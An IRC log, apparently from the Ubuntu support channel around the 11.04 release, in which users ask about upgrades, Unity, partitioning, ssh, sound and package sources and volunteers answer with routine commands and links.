[15:56] <janolap1> ...grub says : "/dev/virtual12/../dm-0 does not have any corresponding DOS drive". Any ideas ?
[15:57] <ActionParsnip> phoenixsampras1: sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 3E5C1192; sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 437D05B5
[15:57] <ActionParsnip> phoenixsampras1: http://ubuntuforums.org/showthread.php?t=1657004
[15:57] <justas> have windows xp and linux on same computer , i want to keep only linux , maybe is simply way how delete windows (simply means - like any file , or just format hard ((but i have only one disk C ))?
[15:57] <ActionParsnip> phoenixsampras1: or try: http://ubuntuforums.org/showthread.php?p=10432015
[15:57] <sipior> bsodmike: sorry, got called away.
[15:58] <bsodmike> oh np
[15:58] <Promille> wow the mirrors for the upgrade seems to be pretty fucked. i'm downloading with 60kb/s on a 15/15mbit fiber cable line
[15:58] <Fodi69> I use Mysql Workbench on unity, and the menus are disappeared from top. how can I get it working?
[15:58] <bsodmike> on my working machines ssh connects to /dev/pts/X
[15:58] <lucas> Hi! How can I connect remotely to another computer on the same LAN?
[15:58] <sipior> bsodmike: is it possible this machine has a kernel compiled without pty support?
[15:59] <allu2> lucas: you mean X or ssh ?
[15:59] <bsodmike> it was working for the past year sipior
[15:59] <bastidrazor>  Promille what do you expect when thousands of people are upgrading at the same time.
[15:59] <bsodmike> same instal
[15:59] <mallory> lucas: ssh username@remotehost
[15:59] <lucas> allu2: with ssh all is ok. I want X if possible a gnome desktop
[15:59] <sipior> bsodmike: suddenly stopped working, with no recent updates/changes?
[15:59] <allu2> lucas: if you want to have remoete terminal connection the computer you want to connect must have ssh server running
[15:59] <Superstar> Is there any way I can make Ubuntu check for updates every hour?
[15:59] <bsodmike> after we restored the container
[15:59] <bsodmike> from a backup
[16:00] <bsodmike> had to cause things just went wrong few days back after the server died
[16:00] <bsodmike> (physical machine)
[16:00] <bastidrazor> Superstar: learn to use the cron.
[16:00] <nishttal2> hi I just upgraded to 11.04 and the panels on my 2nd Xscreen are gone.... how do I fix this?
[16:00] <Fodi69> I use Mysql Workbench on unity, and the menus are disappeared from top. how can I get it working?
[16:00] <sipior> bsodmike: if you invoke ssh with the -v switch, does it say anything about pty allocation?
[16:01] <ActionParsnip> Superstar: run: sudo apt-get install gnome-schedule; gksudo gnome-schedule
[16:01] <Oins> Pici: ah sry, got wrong channel ;)
[16:01] <peeps[lappy]> does anyone know how clock drift settings work?
[16:01] <phoenixsampras1> ActionParsnip: same error :(
[16:01] <bsodmike> nothing
[16:02] <allu2> lucas: most simply for ssh on the computer you want to take remote connection run apt-get install openssh-server, after it installs do on the computer you use "ssh user@ip.of.your.destination
[16:02] <nishttal2> also, i am not able to find the administration menu
[16:02] <nishttal2> someone please help
[16:02] <sipior> bsodmike: does it work as the super-user, by any chance?
[16:02] <johnny77> After installing 11.04, when I log into Ubuntu, all I get is a background image. I think Unity is not loading.
[16:02] <rick_2047> hey people mount manager corrupted my fstab file. is there anyway I could regenerate the file?
[16:03] <naveed> nishtta1@: Ubuntu10.04 or latest 11.04
[16:03] <ActionParsnip> johnny77: if you press ALT+F2 do you get the run dialogue, or if you press CTRL+ALT+T do you get a terminal?
[16:03] <bsodmike> can the container dictate PTY support?
[16:03] <Adamantus> I'm trying to install ubuntu but can't resize my 320gb windows partition. If I click on change during install I just get "Edit partiion" "use as", "mount point", how do I resize?
[16:04] <ActionParsnip> Adamantus: what version of windows is it?
[16:04] <Adamantus> there's only change delete revert
[16:04] <TheRedOctober> Does anyone out there have experience with ncomputing thin devices on ubuntu 10.04?
[16:04] <gxblary> hello. Does anyone has a idea why I can't modify files mounted via sshfs since I upgraded to ubuntu 11.04? The filesystems are mounted, I can browse them, open, delete, write files but I can't modify existing files
[16:04] <Oins> How can I make one of my two monitors as default, especially for the unity panel, that it is on the right (main) one
[16:04] <Adamantus> ActionParsnip: 7
[16:04] <sipior> bsodmike: the running kernel is the critical element. are we talking solaris containers, here?
[16:04] <ActionParsnip> Adamantus: win7 can resize it's own partitions
[16:04] <Adamantus> Ubuntu 10.10
[16:04] <Adamantus> ActionParsnip: So just use windows disc?
[16:04] <bsodmike> parallels plesk
[16:04] <johnny77> ActionParsnip: I know alt+f2 does not work. Have not tried ctrl+alt+t, but would assume it does not work as well.
[16:04] <ActionParsnip> Adamantus: do it in windows then install ubuntu to the free space
[16:04] <bsodmike> media temple servers
[16:04] <ActionParsnip> Adamantus: no, boot to windows and you can do it in windows
[16:05] <bsodmike> no idea of actual setup
[16:05] <binda> hello!
[16:05] <Adamantus> ActionParsnip: Windows is wrecked, says not genuine, I just want to install ubuntu alongside at the moment.
[16:05] <GuitarMan517> I recently updated to 11.04 and tried to move to Gnome 3..now I can only get in via LXDE..how can I restore to base 11.04?
[16:05] <ActionParsnip> Adamantus: then thats probably why you can't resize, the partition hasn't been unmounted properly
[16:05] <sipior> bsodmike: at this point, you might want to contact your provider, and explain the problem. it's possible they changed something...
[16:06] <Adamantus> ActionParsnip: I did try unmount in gparted but not available. Also won't boot due to failed install of Linux Mint, now trying to install Ubuntu instead.
[16:06] <ActionParsnip> GuitarMan517: remove the gnome3 ppa then you will need to tell the OS to reinstall a TONNE of packages. I'd reinstall, the resulting OS will be more stable
[16:06] <ActionParsnip> Adamantus: they are pretty much the same so trying them both is pointless, one is based on the other
[16:07] <GuitarMan517> ActionParsnip: I removed the Gnome3 ppa...how is the best way to reinstall? I am a bit of a noob..and don't want to loose any of my data.
[16:07] <ActionParsnip> GuitarMan517: then your backups will save you
[16:08] <GuitarMan517> ActionParsnip: ?
[16:08] <rafi_> hi my friends
[16:08] <ActionParsnip> GuitarMan517: if your data is important, you will have made backups
[16:08] <rafi_> i have problem with brightness fnkey,who can help me please?
[16:08] <sweb> natty have a lots of bug, when can i download it as a stable version ?
[16:08] <sipior> bsodmike: is the provider using Linux Containers (LXC), by any chance?
[16:08] <rafi_> i have problem with brightness fnkey,who can help me please?
[16:09] <constl> sweb: Tomorrow
[16:09] <Dcite> GuitarMan517: In the event where you cannot access a graphical interface, the command line should still work.
[16:09] <milen8204> help to mount a partition to a /home folder please
[16:09] <milen8204> I did some tutorials
[16:09] <milen8204> but cant make it
[16:09] <KM0201> milen8204: ar eyou doing it from a live cd?
[16:10] <milen8204> KM0201, no
[16:10] <GuitarMan517> Dcite: I can still..I just wan't to reinstall the original packages without wiping everything. Is there a relatively simple way?
[16:10] <juboba> where can I download wubi for 10.10?
[16:10] <GuitarMan517> want* :D
[16:10] <sweb> constl, i ask some question on IRC, askubuntu without get answer. test natty on VBox and Linux Netbook with lots of bugs. http://askubuntu.com/questions/38159/install-on-asus-eeepc-with-stupid-big-problem
[16:10] <KM0201> milen8204: thats your problem... you have to do that from a live cd, becuase the drive is mounted.
[16:10] <ravi> yu can download wubi from the software center itself
[16:10] <rafi_> please help me!i have problem  with brightness fn-keys on ubuntu 11.04
[16:10] <milen8204> KM0201, I dont understand
[16:10] <ravi> else check out www.ubuntu.com
[16:10] <KM0201> milen8204: if it didn't give you information that simple, i would stronglly suspect the info on that page
[16:10] <TimothyA> how do I stop the shell from flashing when I'm press tab for filename-completion and there are alternative spellings?
[16:10] <Dcite> GuitarMan517: Assuming the dependency check in place.. you can try to install the ubuntu-desktop package and hope that the relavent packages are pulled back in?
[16:11] <KM0201> milamber: you cannot partition a drive, that is mounted.. so in order to partition it, you're going to have to boot a live cd or usb (so the drive is not mounted) and partition it from there
[16:11] <ravi> i dont think natty narwhal is that cool.. any views?
[16:11] <sweb> constl, one of big prolem is gnome change to basic theme and i can't change the appearance from list of theme
[16:11] <sipior> ravi: this isn't really the place for such a discussion.
[16:11] <GuitarMan517> Dcite: What are the commands to do this?
[16:11] <constl> ravi: You are wrong sir
[16:11] <rafi_> someone please help me
[16:11] <milen8204> KM0201, I have delete my 10.10 ubuntu and installed 11.04 instate
[16:11] <sweb> constl, so how can i trust to download it tomorrow
[16:12] <Dcite> GuitarMan517: sudo apt-get install ubuntu-desktop
[16:12] <ravi> constl: pls elaborat
[16:12] <ActionParsnip> ravi: this is support, casual chat / opinions are for #ubuntu-offtopic
[16:12] <KM0201> milen8204: so you're doing a clean install of 11.04?
[16:12] <Dcite> GuitarMan517: This is only an attempt and I can't gurantee the results.
[16:12] <constl> ravi: You first
[16:12] <agrab> I know ubuntu isn't using gnome shell, but there must be lots of users running it. I just wonder if there's anything one can do to run fglrx in shell?
[16:12] <slipp3d> so if i want to copy some videos from a camcorder (canon zr900) what software would I use?
[16:12] <ravi> constl: oh ok
[16:12] <juboba> where can I download wubi for 10.10?
[16:12] <DrDuck> Hey, guys. I've run into an issue while trying to install gnome3 on ubuntu 11.04. When trying to log in, I get an ICE authority error about how it couldn't be updated. I'm hoping there is a fix to this.
[16:12] <milen8204> KM0201, I have done it :D
[16:12] <ravi> constl: thanks
[16:12] <KM0201> juboba: why on earth would you want to use wubi?..
[16:12] <GuitarMan517> Dcite: Ok, could it result in loss?
[16:12] <KM0201> milamber: ok.. whyd idn't you create a separate home, while installing?
[16:12] <ActionParsnip> juboba: grab wubi.exe and put the MD5 tested 10.10 ISO in the same folder
[16:13] <milen8204> KM0201, I didnt format the partition which was /home for 10.10
[16:13] <gxblary> Hello, who could help me with my sshfs issues?
[16:13] <milen8204> durig 11.04 instalation
[16:13] <Dcite> GuitarMan517: No, there is no chance of loss that I can tell, most it will do is nothing. That will not touch your /home
[16:13] <KM0201> milamber: oh ok.
[16:13] <liminal_> hello
[16:13] <GuitarMan517> Dcite: Ok, I'll give it a go
[16:13] <Dcite> GuitarMan517: Best case, original packages pulled in and restored, worst case, GUI dies data stays intact
[16:14] <KM0201> so you ahve a separate /home partition (from 10.10)... but its not being used for 11.04(it has its own home).. is that right?
[16:14] <TimothyA> How do I stop ubuntu trigger seizures in people?
[16:14] <milen8204> KM0201, and now I am trying to make partition which was 10.10 /home folder to be 11.04 /home folder
[16:14] <jahrends> Hello
[16:14] <liminal_> can the cp command create directory structures? eg: cp /home/myfile /home/newdirectory/myfile
[16:14] <KM0201> milen8204: i have no idea
[16:14] <Crazy> hello
[16:14] <liminal_> ?
[16:14] <jahrends> Does anyone on here have experience setting up a stand alone irc server?
[16:14] <milen8204> KM0201, ok thanks for the help
[16:14] <TimothyA> I would like to have Ubuntu stop triggering a seizure on anyone who comes within viewing range -_-
[16:15] <Dcite> liminal_: try cp -a path/from path/to   for such  copying
[16:15] <johnny77> ActionParsnip: I know alt+f2 does not work. Have not tried ctrl+alt+t, but would assume it does not work as well.
[16:15] <sipior> TimothyA: you appear to have confused ubuntu with voodoo.
[16:15] <Crazy> i wonder is all you from different contoury?
[16:15] <KM0201> TimothyA: clever, but not really for this channel
[16:15] <GuitarMan517> Dcite: In LXDE if I try to pull up the udate manager I get - 'E:Type 'ain' is not known on line 3 in source list /etc/apt/sources.list.d/gnome3-team-gnome3-natty.list'
[16:15] <TimothyA> KM0201: then what?
[16:15] <Dcite> liminal_: cp -a = preserves dates too, cp -r = recursive copy, loses dates.
[16:15] <ActionParsnip> johnny77: try it, might just work
[16:15] <TimothyA> partial filename + tab = seizure-triggering blink
[16:15] <liminal_> I get this error
[16:15] <TimothyA> I wish to disable the seizure-triggering link
[16:15] <liminal_> cp: cannot create regular file `/home/newdirectory/': Is a directory
[16:16] <TimothyA> *blink
[16:16] <ActionParsnip> GuitarMan517: can you pastebin your /etc/apt/sources.list file please
[16:16] <juboba> I know how to use it
[16:16] <Crazy> where are all of you from?
[16:16] <juboba> but I want to download wubi for ubuntu 10.10
[16:16] <user82> can i replace maverick with natty without upgrade? (and keep windows dualboot undamaged)
[16:16] <KM0201> user82: sure.
[16:16] <GuitarMan517> ActionParsnip: Sure
[16:16] <ActionParsnip> juboba: as I said, grab the ISO, test it then put the file in the same folder as wubi.exe
[16:16] <shomon> jahrends, just turn off your firewall ;) no, actually this will help http://ubuntuforums.org/showthread.php?t=233146
[16:16] <liminal_> the bash in ubuntu doesnt seem to allow directory creation with cp
[16:16] <KM0201> user82: i believe its actually an optin when you install it'll ask you to 'clean install natty over a previous version of ubuntu" or something like that
[16:17] <Mali> [19:16] <Mali> hi there... I wish to mke a usb disk but have no ubuntu nor windows, only arch linux.. how do I go about it?
[16:17] <Dcite> liminal_:  cp -r /home/myfile /home/newdirectory/   <-- try that?
[16:17] <yuskhanzab> hello, i need to use gyachi.. how can i install gyachi via terminal?
[16:17] <Mali> [19:16] <-- toogreen_ has left this server (Remote host closed the connection).
[16:17] <Mali> [19:16] <Mali> unetbootin for some reason is not allowing to make me choos emy usb disk LOL.. any other ways than unetbootin (eg. dd?)
[16:17] <juboba> ActionParsnip, even if it is for 11.04?
[16:17] <Mali> [19:16] <-- andevell1cus has left this server (Client Quit).
[16:17] <FloodBot1> Mali: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[16:17] <Mali> [19:16] <jbeatty> Can we get an op in -offtopic? We have a flooder and a derailer.
[16:17] <Mali> [19:16] <-- pizzaman has left this server (Ping timeout: 240 seconds).
[16:17] <user82> good to know..i did not want to but now my maverick's nearly broken compeltely why no
[16:17] <TimothyA> KM0201: I'm serious here, bash is giving me a headache and making me temporarily blind whenever I tab for file completion
[16:17] <user82> KM0201, can i clean install and only keep /home/myfolder or is that wanted too much
[16:17] <DrDuck> Ahh. I think I can fix it now. ctrl-alt-f1 brings me to the terminal. :D
[16:17] <ActionParsnip> juboba: should be fine as far as I know
[16:17] <sipior> TimothyA: turn off "Terminal bell" in your gnome terminal preferences.
[16:18] <liminal_> Dcite, no i get the same error
[16:18] <KM0201> user82: you might be able to do that w/ an advanced set up, but for the "guided" part, where it does it all for you, thats probably asking to much
[16:18] <yuskhanzab> can someone tell me how to install gyachi via terminal?
[16:18] <Pudabudigada> Hi, I've upgraded to 11.04, and several things have broken. Most importantly, sound, it is incredibally choppy.
[16:18] <TimothyA> sipior: I have... it's still blinking
[16:18] <jahrends> shomon: I ask because for like hybrid I can't find any good docs that explain all the different configuration options ;)
[16:18] <ActionParsnip> yuskhanzab: http://www.ubuntugeek.com/how-to-install-gyachi-on-ubuntu-11-04-natty-using-ppa.html
[16:18] <ActionParsnip> yuskhanzab: have you not seen that??
[16:18] <KM0201> yuskhanzab: to my knowledge, there's no repository w/ gyachi in it.. do ome googling, i found some instructions a long time ago to install it in 10.10.. probably still works for 11.04
[16:18] <ActionParsnip> KM0201: ^
[16:19] <KM0201> ActionParsnip: wow, hadn't seen that.;
[16:19] <KM0201> win
[16:19] <yuskhanzab> im using maverick ver,
[16:19] <ActionParsnip> KM0201: bing and google's websites work here...
[16:19] <KM0201> ActionParsnip: lol, id idn't google it.. i was going off memory... i have no use for gyachi.. if he's not willing to google, i'mn ot doing it for him.
[16:19] <KM0201> lol
[16:19] <shomon> ah I've never done it myself, sorry. but they have an irc channel
[16:19] <yuskhanzab> KM0201, im using maverick ver.
[16:19] <ActionParsnip> yuskhanzab: it has gyachi for maverick in the same ppa
[16:19] <Pudabudigada> Hi, I've upgraded to 11.04, and several things have broken. Most importantly, sound, it is incredibly choppy.
[16:20] <shomon> jahrends, shown here http://www.ircd-hybrid.org/support.html
[16:20] <ActionParsnip> KM0201: thats pretty much what this channel is a lot of the time
[16:20] <KM0201> true..
[16:20] <ActionParsnip> Pudabudigada: try:  killall pulseaudio; rm -r ~/.pulse*
[16:20] <Pudabudigada> 'k
[16:21] <jahrends> shomon: been there... I must be blind... don't see docs. ;)
[16:21] <ActionParsnip> yuskhanzab: that ppa also has thunderbird, so if you use that it MAY upgrade that too
[16:21] <shomon> I was pointing you to their irc channel
[16:21] <shomon> also their mailing list is there so you could ask on there.
[16:21] <yuskhanzab> owh, isee.. thanks ActionParsnip :)
[16:21] <liminal_> can the cp command create directory structures? eg: cp /home/myfile /home/newdirectory/myfile
[16:21] <sipior> liminal_: "man cp"
[16:21] <shomon> or try here by specifying what config option you are stuck at, but it may be less helpful than their own irc channel
[16:22] <juboba> ActionParsnip, It started downloading the 11.04 image
[16:22] <ActionParsnip> juboba: hmm, i'll try find you a maverck wubi
[16:22] <yuskhanzab> yeah, its working.. thx ActionParsnip !!
[16:22] <Pudabudigada> ActionParsnip, That's helped a bit, but it's still chopped up every so often.
[16:22] <Ziber> On ubuntu, is there any way to group different windows of the same application together, like in windows?
[16:22] <juboba> thanks achromat
[16:22] <juboba> thanks ActionParsnip
[16:22] <khrm> i want to use my mobile as modem for using net on ubuntu
[16:23] <ActionParsnip> juboba: try this: http://people.canonical.com/~evand/wubi/maverick/wubi-r197.exe
[16:23] <mindkeep> Hello, using Unity 11.04, how do I make the launcher execute multiple instances of a program (such as gnome-terminal)?
[16:23] <nick87720z> Just tried update-initramfs -u -k all, and got line: "grep: /boot/config-2.6.32-26-generic: No such file or directory". Usually i remove old kernels, for now i have 2.6.32-31 for generic and preempt. Of course, initramfs file is created. I removed item in /lib/modules, but it is helpless. I have nothing installed with version 2.6.32-26*
[16:23] <DoctorPepper> is anyone  using Global menubar extension for firefox ?
[16:23] <nick87720z> Can't find help in web search
[16:23] <ActionParsnip> mindkeep: you can press CTRL+ALT+T for multiple terminals, or use tabs in terminal
[16:24] <bastidrazor> mindkeep: ctrl+shift+t will add a tab
[16:24] <Dcite> liminal_: After trying, I got right idea. but NO, cp can't do that to my knowdlege, please use mkdir first?
[16:24] <mindkeep> ActionParsnip: I don't want tabs, I want seperate windows
[16:24] <Arowana> Hi Every1
[16:24] <GuitarMan517> ActionParsnip: You just want me to open that file as text and copy the contents?
[16:24] <excelsior> quit
[16:25] <mikebot> What is the default font in Libreoffice called?
[16:25] <Mali> hey, how can I make the ubuntu live usb when I don't have ubuntu (no, an dno windows)
[16:25] <juboba> thanks ActionParsnip
[16:25] <compdoc> Liberation Serif
[16:25] <sipior> nick87720z: why not simply omit the "-k all" switch?
[16:25] <compdoc> mikebot
[16:25] <liminal_> sipior: "man get a personality"
[16:26] <KM0201> Mali: you'll probably have to do it manually   check out Pendrivelinux
[16:26] <mindkeep> hmm, nevermind, I guess that seems to do what I want. Thanks ActionParsnip bastidrazor
[16:26] <Ziber> How can I get the menu that allows me to chose standby, hibernate, shutdown, etc?
[16:26] <Dcite> Mali: unetbootin should be close to what is needed?
[16:26] <mikebot> compdoc: yes?
[16:26] <donkeyinspace> hello, where to download trustable experimental packages?
[16:26] <compdoc> Liberation Serif is the default font
[16:26] <Arowana> how is 11.04?
[16:26] <KM0201> Dcite: if you follow what he's saying, he's using arch.. unetbootin doesn't have a version of arch
[16:26] <ActionParsnip> Arowana: fine
[16:26] <bastidrazor> Ziber: you're running openSuSe?
[16:26] <Dcite> KM0201: Ah.. lets see.
[16:27] <sipior> liminal_: that was the best you could manage?
[16:27] <mikebot> compdoc: Oh, thanks
[16:27] <Ziber> bastidrazor: No, ubuntu 10.10.
[16:27] <ActionParsnip> donkeyinspace: you can enable the proposed repo if you feel brave
[16:27] <mikebot> compdoc: Is that available for windows?
[16:27] <Arowana> performance wise?
[16:27] <kyle__> So, anyone explain ubuntu users and groups (groups part)
[16:27] <KM0201> Dcite: or if it does, i don't know about it (don't really use it anymore)
[16:27] <dusf> i am trying to open http://www.getdeb.net/app/Songbird (click install) but firefox keeps trying to open it with software centre which says it cannot find it
[16:27] <dusf> can someone please see if it works for them?
[16:27] <Mali> Dcite.. ye .. my unetbootin is playing up though and wo't show my usb disk sigh... hehe.. ah well I will put theiso on my hard disk and boot it from there I guess
[16:27] <compdoc> mikebot, dont think so, but its probably matching a windows font with a different name
[16:27] <GuitarMan517> ActionParsnip: This what you wanted? - http://pastebin.com/NyFJUexd
[16:27] <bromium> anyone still who can help me with my troubles regarding setting up dansguardian , privoxy on lubuntu,
[16:27] <Arowana> any experience with mrtg??
[16:27] <Mali> an ntfs partition of all things lol
[16:27] <ActionParsnip> dusf: did you install the getdeb deb to add the repo?
[16:27] <mikebot> compdoc: OK, thank you
[16:27] <nick87720z> sipior: it just seems, that something gone wrong for that version. I would like to find source. As for me it is not blocking thing
[16:27] <TomThumb> So, anyone explain ubuntu users and groups (groups part)
[16:28] <dusf> ActionParsnip: i am trying to install it by clicking it
[16:28] <ActionParsnip> GuitarMan517: ok and what is the error?
[16:28] <KM0201> Mali: there should be a solutjion out there.. you'll probaly just have to do it manually
[16:28] <Dcite> Mali: Do you have yaourt installed or access to auR.archlinux.org? They have a pkgbuild for unetbootin there.
[16:28] <ActionParsnip> dusf: the deb or songbird?
[16:28] <TomThumb> for example the is a group called bluetooth, i have no tick next to group but i'm still able to use.  Why so?
[16:28] <dusf> ActionParsnip: firefox tells me it must be opened with an ap, and the only app it recommends is software centre
[16:28] <GuitarMan517> ActionParsnip: An unresolvable problem occurred while initializing the package information.  Please report this bug against the 'update-manager' package and include the following error message:  'E:Type 'ain' is not known on line 3 in source list /etc/apt/sources.list.d/gnome3-team-gnome3-natty.list'
[16:28] <ActionParsnip> dusf: you need to add the ppa by installing the deb, you can then use those links
[16:28] <dusf> ActionParsnip: the deb is for songbird, i cannot separatre them
[16:28] <Dcite> Mali: It... won't see the stick? Can't you pick by device in /dev? Or nothing at all?
[16:28] <dusf> ActionParsnip: where is the option to install the dev?
[16:28] <dusf> deb
[16:29] <bastidrazor> Ziber: right click the panel > add to panel> Shut Down
[16:29] <dusf> ActionParsnip: i tried right clicking on the install link and saving link as
[16:29] <dusf> but it just saved as html
[16:29] <ActionParsnip> dusf: in software centre
[16:29] <Mali> it only finds my linux partition on an external hard disk
[16:29] <Mali> yes, it's weird.. I don't get it.. first time I see it
[16:29] <dusf> ActionParsnip: when i search software centre for songbird it doesn't find anuything
[16:30] <ActionParsnip> dusf: cd; wget http://archive.getdeb.net/install_deb/getdeb-repository_0.1-1~getdeb1_all.deb; sudo dpkg -i .//getdeb-repository_0.1-1~getdeb1_all.deb; rm .//getdeb-repository_0.1-1~getdeb1_all.deb
[16:30] <Mali> which is why I am in such a hapless position :p although actually hwen I think of it, I can install grub2 somewhere and launch an old livecd with grub2 (IM on arch2) i mean with the usb creator (i have a lubuntu 10.10 and a mint 10.10 iso on the ntfs partition
[16:30] <Pudabudigada> ActionParsnip, The command didn't help.
[16:30] <Mali> although I forgot about it.. haven't used them in ages
[16:30] <ActionParsnip> GuitarMan517: you can delete the top 3 lines of that file as you will be using the web to update. Should fix the file
[16:30] <dusf> ActionParsnip: i searched software centre for deb and it found and is installing gdebi package installer, same as your link?
[16:30] <jahrends> I still think it is odd that ubuntu installs by default with no compiler... ;)
[16:31] <ActionParsnip> dusf: the command I gave will install and add the getdeb repo, you can then install as you expect
[16:31] <KM0201> Mali: yeah, if you can boot an ISO of ubuntu or mint 10.10  they both have reliable usb creation tools.. that would be a good alternative
[16:31] <ActionParsnip> jahrends: think of the target userbase of Ubuntu....
[16:31] <jahrends> That makes it even more odd... :)
[16:31] <Mali> well they failed in me in the past alwasy KM0201 which is why I ended up putting isos on my hard disk bt anyway, here I go... thanks!
[16:31] <GuitarMan517> ActionParsnip: Aren't the first three comments?
[16:32] <dusf> ActionParsnip: your command gives errors
[16:32] <KM0201> Mali: ok, good luck
[16:32] <ActionParsnip> Pudabudigada: not sure then, I don't use wubi personally. If you are using Win7 you can resize the windows partition and install a REAL install of Ubuntu which will run better and be easier to fix
[16:32] <Dcite> GuitarMan517: please pastebin this file too /etc/apt/sources.list.d/gnome3-team-gnome3-natty.list
[16:32] <ActionParsnip> dusf: seen this: http://www.getdeb.net/updates/Ubuntu/11.04#how_to_install
[16:32] <dusf> ActionParsnip: http://pastebin.com/Q1TXmQbJ
[16:32] <camille> #questioncopyright
[16:33] <toehio2> is it possible to install a new version of ubuntu without formatting a partition (to preserve the data in certain directories like /home, /var, etc.)?
[16:33] <Pudabudigada> ActionParsnip, I am running it normally.
[16:33] <Dcite> camille: You might be in the wrong channel? What is your support question?
[16:33] <numbah1hax0r> can directx 9.0 run on ubuntu
[16:33] <numbah1hax0r> like for a game?
[16:33] <junco> Hi I'm having a terrible time since upgrading to 11.04 with compiz going nuts and freezing half my interface... how can I find out if this bug has been reported already? google isn't helping much.
[16:33] <Dcite> !wine | numbah1hax0r
[16:33] <ubottu> numbah1hax0r: WINE is a compatibility layer for running Windows programs on GNU/Linux - More information: https://help.ubuntu.com/community/Wine - Search the !AppDB for application compatibility ratings - Join #winehq for application help - See !virtualizers for running Windows (or another OS) inside Ubuntu
[16:33] <GuitarMan517> Dcite: http://pastebin.com/uGFw0icW
[16:34] <GuitarMan517> Dcite: I think thats the problem.. :)
[16:34] <numbah1hax0r> so Dcite
[16:34] <Mali> numbah1hax0r: thatwould have to be through wine (or a vm)
[16:34] <Pudabudigada> ActionParsnip, I wouldn't get anywhere with virtualisation on this!
[16:34] <numbah1hax0r> right,but does wine have it preinstalled?
[16:34] <durando> so guys this unity thing does anyone actually like it? and is there going to be a time when ubuntu classic isn't possible because if there is than i may need to switch distros in the future
[16:34] <numbah1hax0r> or do i have to install directx via wine?
[16:34] <ark0nza> numbah1hax0r: checkout playonlinux too
[16:34] <dusf> ActionParsnip: getdeb is installed, but when i click on the 'install now' option it is still only offering to open it with software centre
[16:34] <numbah1hax0r> playonlinux?
[16:34] <Dcite> numbah1hax0r: Wine has impleted directx 9.0 to a certain degree and most modern games should work, please check your game in appdb.winehq.org for a better insight
[16:35] <EClaesson> durando, i like Unity. On a first look it was rather annoying. But i'm really starting to like it now
[16:35] <Arowana> Hi Action: can I put .exe in folder and share it on samba and run in ubuntu's mem. space?
[16:35] <Dcite> GuitarMan517: Yes, you nailed, it, please make the correction to it? :)
[16:35] <donkeyinspace2> ActionParsnip , enabled proposed repo but still dont see the wanted package
[16:35] <ark0nza> numbah1hax0r:  I use playonlinux to run Steam... HL2, Team Fortress 2, Fallout 3 etc
[16:35] <GuitarMan517> Dcite: Remove line 3?
[16:35] <numbah1hax0r> whats playonlinux?
[16:36] <durando> EClaesson: I have attempted to give it a fair shake honestly but all that unity has managed to do for me is use my android tablet more...........
[16:36] <Dcite> GuitarMan517: Yes place.
[16:36] <Arowana> I have done 1st part and not sure about 2nd running in ubuntu mem space
[16:36] <junco> I think unity needs a lot of work but has potential
[16:36] <dusf> ActionParsnip: 'there isn't a package called 'songbird' in your current software sources'
[16:36] <numbah1hax0r> ark0nza, what's playonlinux?
[16:36] <Dcite> numbah1hax0r: playonlinux is a script which happens to use wine, I won't say it is needed but some people seem to like it
[16:36] <sipior> durando: this is a discussion more for #ubuntu-offtopic
[16:36] <durando> sipior: thanks for that resource
[16:36] <lvh> Hi. I'm on Ubuntu 11.04. I'm running into a particular problem with compiling python2.6/2.7 from source which I can only reproduce on 11.04. I installed build-deps python2.7. When I make, it's giving me the usual Failed to find the necessary bits to build these modules: line, except with sqlite and zlib in it, which I don't understand because I have zlib1g-dev and libsqlite3-dev.
[16:36] <ark0nza> numbah1hax0r: Google it mate, or search the software center... basically a collection of preconfigured wine setups for games
[16:36] <jillsmit> how to enable zte wimax device in ubuntu 11.04?
[16:37] <mbn_18> Hi, how can I change the mirror I use to get the updates / new apps?
[16:37] <junco> So, no one else having problems with compiz and ubuntu 11? I get freezes almost every hour it sucks
[16:37] <GuitarMan517> Dcite: It wont let me edit it o_0
[16:37] <Arowana> I want to recompile squid for MAC support
[16:37] <numbah1hax0r> thanks ark0nza :D
[16:37] <Dcite> GuitarMan517: use a command line editor like nano or vi or vim
[16:37] <KM0201> mbn_18: in synaptic.. go to settings/repositories.. then where it says "Select servers".. choose Find best server..
[16:38] <GuitarMan517> Dcite: Ok
[16:38] <ark0nza> numbah1hax0r: Even got adobe CS54 working on it, np :)
[16:38] <mbn_18> KM0201: thx
[16:38] <MonkeyDust> junco: you're free to use gnome (Ubuntu Classic)
[16:38] <Dcite> GuitarMan517: sudo vim /path/to/file
[16:38] <ark0nza> numbah1hax0r: CS4 even
[16:38] <dusf> ActionParsnip: i did exactly what you asked...
[16:38] <KM0201> mbn_18: actually, i think its "settings repositories, then where it says download from, choose other, then click select best server
[16:38] <kln> join #awesome
[16:38] <donkeyinspace> ActionParsnip , is pkgs.org a trustable site?
[16:38] <junco> MonkeyDust: I suppose that's true.. but I'm thinking someone (developers) would want to know about my problems somewhere?
[16:39] <Mali> ok added ubu natty to my ntfs partition , will see if it works... if not I guess I will be back weeping :p
[16:40] <MonkeyDust> junco: you're not the only person who dislikes Unity, I don't like it either, so I don't use it
[16:40] <dennda> What in gods name happened here? http://the-space-station.com/~dennda/tmp/unity_screwed.png
[16:40] <donkeyinspace> why is not to possible to force some package s version?
[16:40] <junco> MonkeyDust: I'm not sayign I don't like it. I'm saying it freezes the system... it's buggy. I'd use it if it didn't break my computer every hour.
[16:41] <numbah1hax0r> which version is 10.04
[16:41] <numbah1hax0r> ?
[16:41] <sipior> junco: if you're experiencing constant crashes, a bug report would be very helpful.
[16:41] <KM0201> dennda: well, you should have set screenshot to delay about 2sec..lol, but i'd say something went hairy
[16:41] <ayecee> numbah1hax0r: lucid lynx
[16:41] <dennda> I just did an update; Now my system is totally screwed and unusable. I still get the unity dock but everything is acting very very weird
[16:41] <sipior> junco: might be interesting to see if gnome-classic shows the same problem.
[16:41] <dusf> can somebody please help me open the install now link on http://www.getdeb.net/software/Songbird - gdebi is installed
[16:41] <numbah1hax0r> so lucid?
[16:41] <ayecee> numbah1hax0r: yes
[16:41] <numbah1hax0r> Thanks man.
[16:41] <dennda> KM0201: yeah i am not talking about that. but why am i having that weird gtk theme and all those weird framebuffer issues e.g. when i switch to another viewport
[16:41] <batti3004> Hi, i use ubuntu 11, and i have some problems, videos dont play in fullscreen, can anybody help out?
[16:41] <sipior> junco: in other words: does the problem lie with unity, or the video card driver.
[16:42] <junco> sipior: I'll try classic for awhile and see.. then I'll do a bug report. I assume I'll be able to find that pretty easy on ubuntu.org (how to file a bug report)
[16:42] <KM0201> dennda: no clue.. :)
